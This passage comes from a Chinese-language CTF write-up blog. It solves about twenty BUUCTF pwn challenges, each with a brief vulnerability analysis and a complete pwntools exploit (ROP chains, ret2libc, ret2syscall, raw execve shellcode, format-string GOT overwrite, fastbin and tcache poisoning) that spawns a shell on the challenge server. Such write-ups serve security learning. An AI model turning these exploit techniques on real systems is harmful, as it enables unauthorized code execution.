p.sendline(password + b'\x00' * (0x60 - 0x18 - len(password)) + p64(0x400e9e))
p.interactive()

运行即可get shell

0x02D.cmcc_simplerop -ret2syscall | ret2shellcode

惯例的checksec,只开了NX

拖入IDA进行分析,直接就有一个很大的溢出

但是程序本身是经过静态编译的,因此没法直接通过常规的ret2libc来get shell

解法一:ret2syscall

我们可以发现在程序中存在可以进行系统调用的int 0x80中断指令

故考虑通过0x80号中断执行11号系统调用execve("/bin/sh", 0, 0)以get shell,其中字符串我们是可以手动读入到bss段上的

需要注意的是栈上参数需要我们手动进行弹出

故构造exp如下:

from pwn import *
#context.log_level = 'debug'
p = remote('node3.buuoj.cn',29872)
e = ELF('./simplerop') 
pop_esi_pop_edi_pop_ebp_ret = 0x0804838c
pop_edi_pop_ebp_ret = 0x0804838d
pop_eax_ret = 0x080bae06
pop_ecx_pop_ebx_ret = 0x0806e851
pop_edx_ret = 0x0806e82a
int_0x80 = 0x080493e1
offset = 0x1c

payload = b'A' * offset + p32(0xdeadbeef)  + p32(e.sym['read']) + p32(pop_esi_pop_edi_pop_ebp_ret) + p32(0) + p32(e.bss()) + p32(0x8) + p32(pop_eax_ret) + p32(0xb) + p32(pop_ecx_pop_ebx_ret) + p32(0) + p32(e.bss()) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)

p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()

运行即可get shell

解法二:ret2shellcode

程序本身还带有mprotect函数,故考虑修改bss段为可执行后读入shellcode来get shell

构造exp如下:

from pwn import *
#context.arch = 'i386'
p = remote('node3.buuoj.cn',29872)
e = ELF('./simplerop') 
pop_esi_pop_edi_pop_ebp_ret = 0x0804838c
pop_edi_pop_ebp_ret = 0x0804838d
pop_eax_ret = 0x080bae06
pop_ecx_pop_ebx_ret = 0x0806e851
pop_edx_ret = 0x0806e82a
int_0x80 = 0x080493e1
offset = 0x1c

payload = b'A' * offset + p32(0xdeadbeef)  + p32(e.sym['mprotect'])  + p32(pop_esi_pop_edi_pop_ebp_ret) + p32(e.bss() & (0xffff000)) + p32(0x2000) + p32(0x7) + p32(e.sym['read']) + p32(pop_esi_pop_edi_pop_ebp_ret) + p32(0) + p32(e.bss() + 0x50) + p32(0x50) + p32(e.bss() + 0x50)

p.sendline(payload)
p.sendline(asm(shellcraft.sh()))
p.interactive()

运行即可get shell

0x02E.roarctf_2019_easy_pwn - off by one + fastbin attack + one_gadget

惯例的checksec保 护 全 开(噔 噔 咚)

拖入IDA进行分析

保护全开的题不出意外应当是一道堆题,这题也不例外

程序本身有着分配、编辑、释放、打印堆块的功能

漏洞点在于edit功能中,若是输入的size刚好是原size + 10的话就会允许多输入一个字节,即存在off by one漏洞

题目中对于chunk size的限制是4096(四舍五入等于没有),故考虑通过off by one漏洞修改相邻chunk的size构造overlapping chunk泄露libc基址后通过overlapping chunk进行fastbin attack构造__malloc_hook - 0x23附近的fake chunk后修改__malloc_hook为one_gadget后分配任意chunk即可get shell

需要注意的一点是one_gadget对于栈帧是有着一定要求的,我们可以尝试使用realloc函数中的gadget来进行压栈等操作来满足one_gadget的要求

故构造exp如下:

from pwn import *

#context.log_level = 'DEBUG'
context.arch = 'amd64'

p = process('./roarctf_2019_easy_pwn') # p = remote('node3.buuoj.cn',27009)
e = ELF('./roarctf_2019_easy_pwn')
libc = ELF('./libc-2.23.so')
one_gadget = 0x4526a

def cmd(choice:int):
    p.recvuntil(b"choice: ")
    p.sendline(str(choice).encode())

def new(size:int):
    cmd(1)
    p.recvuntil(b"size: ")
    p.sendline(str(size).encode())

def edit(index:int, size:int, content):
    cmd(2)
    p.recvuntil(b"index: ")
    p.sendline(str(index).encode())
    p.recvuntil(b"size: ")
    p.sendline(str(size).encode())
    p.recvuntil(b"content: ")
    p.send(content)

def free(index:int):
    cmd(3)
    p.recvuntil(b"index: ")
    p.sendline(str(index).encode())

def dump(index:int):
    cmd(4)
    p.recvuntil(b"index: ")
    p.sendline(str(index).encode())
    p.recvuntil(b"content: ")

def exp():
    new(0x18) # idx0
    new(0x18) # idx1
    new(0x80) # idx2
    new(0x60) # idx3

    # leak the libc addr
    edit(0, 0x18 + 10, p64(0) * 3 + b'\xb1')
    free(1)
    new(0xa0) # idx1
    edit(1, 0x20, p64(0) * 3 + p64(0x91))
    free(2)
    dump(1)
    main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88
    __malloc_hook = main_arena - 0x10
    libc_base = __malloc_hook - libc.sym['__malloc_hook']

    # overlapping
    new(0x60) # idx2
    new(0x10) # idx4
    edit(0, 0x18 + 10, p64(0) * 3 + b'\x91')
    free(1)
    new(0x10) # idx1
    new(0x60) # idx5, overlapping chunk

    # fastbin attack
    free(3)
    free(5)
    edit(2, 0x8, p64(libc_base + libc.sym['__malloc_hook'] - 0x23))
    new(0x60) # idx3
    new(0x60) # idx5, our fake chunk

    # get the shell
    edit(5, 11 + 0x10, b'A' * (0x13 - 8) + p64(libc_base + one_gadget) + p64(libc_base + libc.sym['__libc_realloc'] + 0x10))
    new(0x10)
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可get shell

说实话笔者觉得这道题质量一般…有种为了出题而出题的感觉…

0x02F.pwnable_orw - orw

pwnablt.tw的刷题记录见这里,因为是做过的题所以直接把当时的wp搬过来了www

首先可以看到题目对环境做出了一定的限制

image.png

惯例的checksec,发现只开了canary

D_V73A_Y0XS1HEU~_CXRZSH.png

拖入IDA进行分析

image.png

主程序一开始会先调用orw_seccomp()函数,我们点进去康康

image.png

v4是canary的值,我们现在还不知道是否需要绕过canary,故先不予理会

接下来调用了qmemcpy()函数,实际上就是memcpy函数,将从0x8048640地址开始拷贝0x60字节的数据到v3中,随后赋值12给v1,v2作为指针获取v3的首字节地址

最后调用prctl()函数,结合题目的说明,我们大致可以猜测到orw_seccomp()函数的作用应该是禁用其他的系统调用,仅开放sys_read、sys_write、sys_open

也就是说我们无法通过sys_execve来getshell

接下来回到主函数,我们很容易看出该程序会读入最大0xC8字节输入并尝试执行该输入

结合题目说明,我们仅考虑构造shellcode来cat flag

故构造exp如下:

from pwn import *
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
p = remote('node3.buuoj.cn', 28333)
p.sendline(asm(shellcode))
p.interactive()

运行即可获得flag

0x030.jarvisoj_level1 - ret2shellcode | ret2libc

同样是一道屑题

惯例的checksec,保护全关,四舍五入可以为所欲为

拖入IDA进行分析

给出了栈上地址且存在溢出,直接写入shellcode后返回到栈上即可

构造exp如下:

from pwn import *
context.arch = 'i386'
offset = 0x88

p = process('./level1') # p = remote('node3.buuoj.cn', 28701)
p.recvuntil('this:')
stack_addr = int(p.recvuntil(b'?', drop = True), 16)
payload = asm(shellcraft.sh()).ljust(offset, b'\x00') + p32(0xdeadbeef) + p32(stack_addr)
p.sendline(payload)
p.interactive()

但是我们会发现本地打的通远程打不通…

这是由于远程不明原因不会给出这个地址,故考虑直接ret2libc

构造exp如下:

from pwn import *
from LibcSearcher import *
p = process('./level1') # p = remote('node3.buuoj.cn', 28701)
e = ELF('./level1')
offset = 0x88

payload1 = b'A' * offset + p32(0xdeadbeef) + p32(e.plt['write']) + p32(e.sym['main']) + p32(1) + p32(e.got['write']) + p32(4)

p.recv() # comment out this line when attacking remote
p.sendline(payload1)
write_addr = u32(p.recv(4))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = b'A' * offset + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendline(payload2)
p.interactive()

运行即可get shell

0x031 ~ 0x040

0x031.ciscn_2019_n_3 - Use After Free

惯例的checksec,发现只开了NX和canary(又是32位堆题,好烦a

拖入IDA进行分析,大概是一道有着分配、释放、打印堆块功能的程序

释放堆块时用的是堆块上的函数指针

在释放堆块后不会将堆块指针置NULL,存在UAF漏洞

由于程序中存在system函数,故考虑通过UAF覆写堆块指针为system后执行system("sh")以get shell

构造exp如下:

from pwn import *

#context.log_level = 'debug'
context.arch = 'i386'
p = process('./ciscn_2019_n_3') # p = remote('node3.buuoj.cn', 27248)
e = ELF('./ciscn_2019_n_3')
libc = ELF('./libc-2.27.so')

def cmd(command: int):
    p.recvuntil(b"CNote")
    p.sendline(str(command).encode())

def new(index: int, value: int):
    cmd(1)
    p.recvuntil(b"Index")
    p.sendline(str(index).encode())
    p.recvuntil(b"Type")
    p.sendline(str(1).encode())
    p.recvuntil(b"Value")
    p.sendline(str(value).encode())

def new(index: int, length: int, content):
    cmd(1)
    p.recvuntil(b"Index")
    p.sendline(str(index).encode())
    p.recvuntil(b"Type")
    p.sendline(str(2).encode())
    p.recvuntil(b"Length")
    p.sendline(str(length).encode())
    p.recvuntil(b"Value > ")
    p.sendline(content)

def free(index: int):
    cmd(2)
    p.recvuntil(b"Index")
    p.sendline(str(index).encode())

def dump(index: int):
    cmd(3)
    p.recvuntil(b"Index")
    p.sendline(str(index).encode())

def exp():
    new(0, 0x114, b'arttnba3') # idx 0
    new(1, 0x114, b'arttnba3') # idx 1
    free(0)
    free(1)
    new(2, 0xc, b'sh\x00\x00' + p32(e.sym['system'])) # idx2, overlapping with idx 0
    free(0)
    p.interactive()


if __name__ == '__main__':
    exp()

运行即可get shell

0x032.picoctf_2018_buffer overflow 2 - ret2libc

惯例的chekcsec,发现只开了NX保护

拖入IDA进行分析,直接就有一个gets溢出

由于没有能直接get shell的函数,故考虑ret2libc

构造exp如下:

from pwn import *
from LibcSearcher import *
p = process('./PicoCTF_2018_buffer_overflow_2') # p = remote('node3.buuoj.cn',25508)
e = ELF('./PicoCTF_2018_buffer_overflow_2') 
offset = 0x6c

payload1 = b'A' * offset + p32(0xdeadbeef) + p32(e.plt['puts']) + p32(e.sym['main']) + p32(e.got['puts'])

p.sendline(payload1)
p.recvuntil(payload1)
p.recvuntil(b'\n')
addr = p.recv(4)
puts_addr = u32(addr)

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = b'A'*offset + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

p.sendline(payload2)
p.interactive()

运行即可get shell

直接把overflow1的exp改一下就能过了…

0x033.wustctf2020_getshell - ret2text

惯例的checksec,发现只开了栈不可执行保护

拖入IDA进行分析,存在溢出

同时存在后门函数

故考虑ret2text执行后门函数即可

构造exp如下

from pwn import *
offset = 0x18
payload = b'A'*offset + p32(0xdeadbeef) + p32(0x804851b)

p = process('./wustctf2020_getshell')# p = remote('node3.buuoj.cn',27471)
p.sendline(payload)
p.interactive()

运行即可getshell

0x034.bbys_tu_2016 - ret2text

惯例的chekcsec,发现只开了NX保护

拖入IDA进行分析,直接就有一个溢出

有一个能直接读flag的函数,溢出到这即可

构造exp如下:

from pwn import *
from LibcSearcher import *
p = process('./bbys_tu_2016') # p = remote('node3.buuoj.cn',25054)
e = ELF('./bbys_tu_2016') 
offset = 0x14

payload = b'A' * offset + p32(0xdeadbeef) + p32(e.sym['printFlag'])

p.sendline(payload)
p.interactive()

运行即可get flag

0x035.xdctf2015_pwn200 - ret2libc

惯例的chekcsec,发现只开了NX保护

拖入IDA进行分析,直接就有一个溢出

由于没有能直接get shell的函数,故考虑ret2libc

构造exp如下:

from pwn import *
from LibcSearcher import *
p = process('./bof') # p = remote('node3.buuoj.cn',25987)
e = ELF('./bof') 
offset = 0x6c

payload1 = b'A' * offset + p32(0xdeadbeef) + p32(e.plt['write']) + p32(e.sym['main']) + p32(1) + p32(e.got['write']) + p32(4)

p.recv() 
p.sendline(payload1)
write_addr = u32(p.recv(4))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = b'A' * offset + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendline(payload2)
p.interactive()

运行即可get shell

学长们出的题,没想到短短5年时间CTF-pwn的主流就从简单的栈溢出到了现在的各种复杂的堆利用手法…现在的大比赛哪怕是签到题都至少是tcache double free起手…

不过15年说不定都没有pwntools和LibcSearcher这样方便的python库

以及这道题和前面的0x37几乎一模一样(x

0x036.gyctf_2020_borrowstack - ret2csu + ret2libc + stack migration

惯例checksec,只开了栈不可执行保护

拖入IDA进行分析

第一次读到栈上溢出0x10字节,第二次读到bss段上,暗示我们进行栈迁移

由于没有后门函数,故考虑ret2libc,使用栈迁移在bss段构造rop链执行one_gadget(题目已给出libc版本, 以及不明原因system("/bin/sh")无法执行)

需要注意的是bss段离got表比较近,需要先抬高栈

构造exp如下:

from pwn import *
from LibcSearcher import *

p = process('./gyctf_2020_borrowstack') # p = remote('node3.buuoj.cn',25454)
e = ELF('./gyctf_2020_borrowstack')

pop_rdi_ret = 0x400703
leave_ret = 0x400699
puts_plt = e.plt['puts']
puts_got = e.got['puts']
back_to_read = 0x400680
bss_addr = 0x601080
offset = 0x60
ret=0x4004c9
one_gadget = 0x4526a

payload1 = offset*b'A' + p64(bss_addr) + p64(leave_ret)
payload2 = p64(ret) * 20 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(e.sym['main'])

p.recv()
p.send(payload1)
p.recv()
p.send(payload2)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')

payload3 = offset*b'A' + p64(bss_addr) + p64(libc_base + one_gadget)
p.sendline(payload3)
p.sendline()

p.interactive()

运行即可get shell

0x037.inndy_rop - ret2shellcode | ret2text | ret2syscall | orw

惯例的chekcsec,发现只开了NX保护

拖入IDA进行分析,直接就有一个溢出

解法一:ret2shellcode

由于静态编译封装了mprotect,考虑修改bss段执行权限后在bss段构造shellcode后返回至bss即可get shell

构造exp如下:

from pwn import *
context.arch = 'i386'
p = process('./rop') # p = remote('node3.buuoj.cn',26508)
e = ELF('./rop')
pop_esi_pop_ebx_pop_edx_ret = 0x806ecd8
offset = 0xc

payload = b'A' * offset + p32(0xdeadbeef) + p32(e.sym['mprotect']) + p32(pop_esi_pop_ebx_pop_edx_ret) + p32(e.bss() & 0xffff000) + p32(0x2000) + p32(7) + p32(e.sym['gets']) + p32(e.bss()) + p32(e.bss())

p.sendline(payload)
p.sendline(asm(shellcraft.sh()))
p.interactive()

运行即可get shell

解法二:ret2text with ROPgadget

同样的,这一题也可以使用ROPgadget所提供的payload以get shell

构造exp如下:

from pwn import *
from struct import pack
context.arch = 'i386'
p = remote('node3.buuoj.cn',26508)
e = ELF('./rop')
offset = 0xc
def payload():
	# Padding goes here
	p = b''

	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += b'/bin'
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea064) # @ .data + 4
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += b'//sh'
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x080492d3) # xor eax, eax ; ret
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080de769) # pop ecx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x080492d3) # xor eax, eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0806c943) # int 0x80
	return p
	
p.sendline(offset * b'A' + p32(0xdeadbeef) + payload())
p.interactive()

运行即可get shell

解法三:ret2syscall

由于存在大量的syscall gadget,故也可以考虑ret2syscall以get shell

构造exp如下:

from pwn import *
p = process('./rop') # p = remote('node3.buuoj.cn',26508)
e = ELF('./rop')
offset = 0xc
pop_ecx_ret = 0x80de769
pop_edx_ret = 0x806ecda
pop_ebx_pop_edx_ret = 0x806ecd9
pop_esi_pop_ebx_pop_edx_ret = 0x806ecd8
pop_eax_ret = 0x80b8016
syscall = 0x80627cd
int_0x80 = 0x806c943

payload = b'A' * offset + p32(0xdeadbeef) + p32(e.sym['gets']) + p32(pop_edx_ret) + p32(e.bss()) + p32(pop_eax_ret) + p32(11) + p32(pop_ebx_pop_edx_ret) + p32(e.bss()) + p32(0) + p32(pop_ecx_ret) + p32(0) + p32(int_0x80)

p.sendline(payload)
p.sendline(b"/bin/sh\x00")
p.interactive()

运行即可get shell

在这里用syscall似乎没法get shell,得用int 0x80,原因不明…

解法四:orw

由于没有能直接get shell的函数,故也可以考虑orw读取flag

构造exp如下:

from pwn import *
p = process('./rop') # p = remote('node3.buuoj.cn',26508)
e = ELF('./rop')
offset = 0xc
pop_edx_ret = 0x806ecda
pop_ebx_pop_edx_ret = 0x806ecd9
pop_esi_pop_ebx_pop_edx_ret = 0x806ecd8

payload = b'A' * offset + p32(0xdeadbeef) + p32(e.sym['gets']) + p32(pop_edx_ret) + p32(e.bss()) + p32(e.sym['open']) + p32(pop_ebx_pop_edx_ret) + p32(e.bss()) + p32(4) + p32(e.sym['read']) + p32(pop_esi_pop_ebx_pop_edx_ret) + p32(3) + p32(e.bss()) + p32(0x100) + p32(e.sym['write']) + p32(0xdeadbeef) + p32(1) + p32(e.bss()) + p32(0x100)

p.sendline(payload)
p.sendline('./flag')
p.interactive()

运行即可获得flag

0x038.axb_2019_fmt32 - fmtstr + got hijack | BROP

惯例的 checksec ,只开了 NX

image.png

拖入IDA进行分析

有一个比较明显的格式化字符串漏洞

image.png

简单测一下,没有对齐…不过问题不大

image.png

解法一:fmtstr + got hijack

可以利用格式化字符串漏洞泄露 libc 地址,原本想在栈上构造rop,后面想想一个是太麻烦了,另一个是程序使用了 strlen(format),可以直接劫持 got 表里的 strlen 为 system 以后输 /bin/sh即可get shell

需要注意的是题目中字符串开头会固定有一个 9 字节长的 "Repeater:",在手动计算构造格式化字符串时应当加上其长度,同时我们应当输入 ; 以在命令中隔开这个字符串

笔者个人更喜欢将需要写入的地址放在前面,方便计算长度

exp 如下:

from pwn import *
from LibcSearcher import *

p = remote('node3.buuoj.cn', 29212)#process('./axb_2019_fmt32')
e = ELF('./axb_2019_fmt32')

p.recv()
p.sendline(b'b%9$s' + p32(e.got['puts']))
p.recvuntil(b'Repeater:b')

puts_addr = u32(p.recv(4))
log.info('puts addr leak: ' + hex(puts_addr))

strlen_got = e.got['strlen']

libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
log.success('libc base leak: ' + hex(libc_base))

sys_addr = libc_base + libc.dump("system")
high_sys_addr = (sys_addr >> 16) & 0xffff
low_sys_addr = sys_addr & 0xffff

payload = b'a' + p32(strlen_got) + p32(strlen_got + 2)
payload += b'%' + str(low_sys_addr - 9 - 9).encode() + b'c%8$hn'
payload +=b'%' + str(high_sys_addr - low_sys_addr).encode() + b'c%9$hn'

p.send(payload)
sleep(1)
p.sendline(b';/bin/sh\x00')
p.interactive()

运行即可 get shell

image.png

解法二:BROP

虽然 BUU上给了二进制文件,但是这道题原题是Blind Pwn,所以这一次笔者打算也采用Blind Pwn的做法来做

先🕊🕊🕊

0x039.others_babystack - partial overwrite + ret2libc

惯例的 checksec ,除了PIE以外都开上了

image.png

拖入 IDA 进行分析

大概是有着往栈上写入内容与打印栈上数据的功能,且存在溢出

image.png

直接泄露 canary 以后 ret2libc 一套带走

虽然说题目文件本身没有开 PIE ,但是这里提供一个绕过 PIE 的思路:可以通过 main 函数的返回地址泄露 libc 基址,笔者的 exp 也是这么做的

构造 exp 如下:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'

p = remote('node3.buuoj.cn', 29360)#process('./babystack')#
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#
offset = 0x90

def cmd(choice:int):
    p.recvuntil(b">> ")
    p.sendline(str(choice).encode())

def write(content):
    cmd(1)
    p.send(content)

def dump():
    cmd(2)

def exp():
    # leak canary
    write(b'A' * (offset - 8 + 1))
    dump()
    p.recvuntil(b'A' * (offset - 8 + 1))
    canary = u64(p.recv(7).rjust(8, b'\x00'))
    log.success('canary leak: ' + hex(canary))

    # leak libc base
    write(b'A' * (offset + 8))
    dump()
    addr_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    log.info('addr leak: ' + hex(addr_leak))
    libc_base = (addr_leak - libc.sym['__libc_start_main']) & 0xfffffffff000
    log.success('libc base: ' + hex(libc_base))

    # rop to get the shell
    write(b'A' * (offset - 8) + p64(canary) + p64(0xdeadbeef) + p64(libc_base + libc.search(asm('pop rdi ; pop rbp ; ret')).__next__()) + p64(libc_base + libc.search(b'/bin/sh\x00').__next__()) + p64(0xdeadbeef) + p64(libc_base + libc.sym['system']))
    cmd(3)
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

0x03A.mrctf2020_shellcode - shellcode

惯例的 checksec,开了 PIE 和R ELRO

image.png

拖入 IDA 进行分析

程序会执行我们的输入

image.png

直接输一段恰当的 shellcode 即可 get shell

构造 exp 如下:

from pwn import *
context.arch = 'amd64'
p = remote('node3.buuoj.cn', 28688)
p.send(asm(shellcraft.sh()))
p.interactive()

运行即可 get shell

image.png

0x03B.hitcontraining_magicheap - unsorted bin attack

惯例的 checksec ,保护全…诶这道堆题居然没有保护全开…

image.png

拖入 IDA 进行分析

题目给了分配、编辑、释放堆块的功能

漏洞点在于编辑时的逻辑错误,导致可以进行堆溢出

image.png

存在一个可以直接拿 shell 的后门函数,但是需要 bss 段上的某个值大于 0x1305

image.png

考虑到 _int_malloc() 中从 unsorted bin 中取出恰当大小 chunk 时几乎没有任何检查(未使用 unlink),那么我们可以考虑通过堆溢出的方式将 bss 段上的这个区域链入 unsorted bin 中,这样就可以将该值改写为 main_arena + 0x50,毫无疑问大于 0x1305,这个时候就可以拿 shell 了

构造 exp 如下:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = remote('node3.buuoj.cn', 27919)

def cmd(choice:int):
    p.recvuntil(b"Your choice :")
    p.sendline(str(choice).encode())

def new(size:int, content):
    cmd(1)
    p.recvuntil(b"Size of Heap : ")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content of heap:")
    p.send(content)

def edit(index:int,size:int , content):
    cmd(2)
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    p.recvuntil(b"Size of Heap :")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content of heap :")
    p.send(content)

def free(index:int):
    cmd(3)
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())

def exp():
    new(0x10, b'arttnba3') # idx 0
    new(0x80, b'arttnba3') # idx 1
    new(0x10, b'arttnba3') # idx 2

    free(1)
    edit(0, 114514, b'arttnba3' * 2 + p64(0) + p64(0x91) + p64(0) + p64(0x6020A0 - 0x10))
    new(0x80, b'arttnba3')

    cmd(0x1305)
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

笔者还在考虑如何不用后门函数拿 shell,思路大概是用残留指针爆破到 stdout 泄露 libc 地址,但是 fastbin 的size检查就很烦…

0x03C.ciscn_2019_final_3 - Use After Free + tcache poisoning

惯例的 checksec ,保护全开

image.png

拖入 IDA 进行分析

直接就有一个裸的 UAF

image.png

唯一的输出功能是在每次分配之后会给出 chunk 的地址,利用这个我们可以泄露 堆基址,而我们后续若是能够分配到一个位于 libc 中的 chunk ,则毫无疑问也能泄露 libc 基址

image.png

同时题目限制了只能分配 0x78 以下的 chunk ,我们没法直接获得一个 unsorted bin chunk

image.png

题目给出的 libc 为没有 double free 检测的 2.27 版本,但是笔者个人觉得既然往后的新版本 libc 的 tcache 都有 double free 检测,现在这里主动忽视掉这一点等于是自欺欺人(),于是笔者选择通过 stash 机制绕过 double free 检测的做法

主动提高题目难度的屑人

由于题目仅仅允许分配 0x18 次 chunk,而利用 stash 绕过 double free 检测至少需要使用其中的 19 次,第 20 次才是我们的第一次任意地址写,因此我们需要精确计算利用好剩下的 4 次机会

那么在这里笔者选择劫持 tcache struct :

  • tcache struct 大小为 0x250(libc 2.27),free刚好可以放入 unsorted bin
  • 可以直接控制对应下标的 count ,而不需要想办法分配大于 0x400 的 chunk 以略过 tcache
  • 可以直接控制对应下标存放的 chunk

我们控制 tcache struct 之后直接在合适下标内 再写入 tcache 地址,二次分配后我们便能够分配到一个 libc 中的 chunk,以此泄露 libc 基址

最后就是改 __free_hooksystem 的常规流程,由于 chunk 数量限制,我们需要多次控制 tcache struct

最终的 exp 如下:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = remote('node3.buuoj.cn', 26084) #process('./ciscn_final_3')
libc = ELF('./libc.so.6') #ELF('/lib/x86_64-linux-gnu/libc.so.6')#

def cmd(choice:int):
    p.recvuntil(b"choice > ")
    p.sendline(str(choice).encode())


def new(index:int,size:int , content):
    cmd(1)
    p.recvuntil(b"input the index")
    p.sendline(str(index).encode())
    p.recvuntil(b"input the size")
    p.sendline(str(size).encode())
    p.recvuntil(b"now you can write something")
    p.send(content)

def free(index:int):
    cmd(2)
    p.recvuntil(b"input the index")
    p.sendline(str(index).encode())

def exp():
    new(0, 0x70, b'arttnba3')
    p.recvuntil(b"gift :")
    heap_leak = int(p.recvuntil(b'\n', drop = True), 16)
    log.info('heap addr leak: ' + hex(heap_leak))
    heap_base = heap_leak - 0x11e70
    log.success('heap base: ' + hex(heap_base))
    
    for i in range(1,10):
        new(i, 0x70, b'arttnba3')
    for i in range(7):
        free(i)
    free(7)
    free(8)
    free(7)

    for i in range(10,17):
        new(i, 0x70, b'/bin/sh\x00')
    new(17, 0x70, p64(heap_base + 0x10))
    new(18, 0x70, b'arttnba3')
    new(19, 0x70, b'arttnba3')
    new(20, 0x70, (b'\x00' * 35 + b'\x07' * 1).ljust(0x40, b'\x00') + p64(heap_base + 0x10) * 6)
    free(20)
    new(21, 0x20, b'arttnba3')
    new(22, 0x20, b'arttnba3')
    p.recvuntil(b"gift :")
    libc_leak = int(p.recvuntil(b'\n', drop = True), 16)
    log.info('libc addr leak: ' + hex(libc_leak))
    libc_base = libc_leak - 0x3ebca0
    log.success('libc base: ' + hex(libc_base))
    new(23, 0x50, (b'\x01' * 10).ljust(0x40, b'\x00') + p64(libc_base + libc.sym['__free_hook']) * 2)
    new(24, 0x10, p64(libc_base + libc.sym['system']))
    free(10)
    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

0x03D.pwnable_start - ret2shellcode

惯例的checksec,保护全关,四舍五入可以为所欲为www

image.png

拖入IDA进行分析

image.png

程序本身的逻辑比较简单,先是系统调用write输出栈上字符串,然后是系统调用read读入最大0x3c个字节,容易看出存在栈溢出

与一般函数的逻辑所不同的是,在开始时先将esp的值压入栈中,再将返回地址压入栈中,那么我们便可以通过控制程序返回到write系统调用的方式泄漏出栈上地址

没有后门函数,故考虑泄露地址后在栈上输入shellcode以ret2shellcode来get shell

构造exp如下:

from pwn import *
p = remote('node3.buuoj.cn',25392)#process('./start')
context.arch = 'i386'
offset = 0x14

payload1 = b'A' * offset + p32(0x8048087)
p.recv()
p.send(payload1)
stack_leak = u32(p.recv(4))

payload2 = b'A' * offset + p32(stack_leak + 0x14) + b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'#asm(shellcraft.sh())
p.sendline(payload2)
p.interactive()

运行即可get shell

image.png

0x03E.hitcontraining_heapcreator - off by one + chunk overlapping

惯例的 checksec ,保护全…只开了 NX 和 canary

image.png

拖入 IDA 进行分析

功能一应俱全,整挺好

image.png

漏洞点主要在于编辑时会多读入一个字节,存在 off by one 漏洞

image.png

考虑利用off by one的漏洞改大一个chunk的size送入unsorted bin后分割造成overlapping,同时 libc 基址可以通过栈上残留指针泄露

题目中的 heaparray 中如下结构体管理每个 chunk:

typedef struct __INTERNAL_HEAP_
{
    long long size;
    void * chunk;
}heap;

而每次为用户分配 chunk 之前都会用 malloc 先分配一个这样的结构体,那么我们可以通过overlapping直接改某个 chunk 指针为 __free_hook 一套带走

最终的 exp 如下:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = remote('node3.buuoj.cn', 25096) #process('./heapcreator')
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so') #ELF('/lib/x86_64-linux-gnu/libc.so.6')#

def cmd(choice:int):
    p.recvuntil(b"Your choice :")
    p.sendline(str(choice).encode())


def new(size:int , content):
    cmd(1)
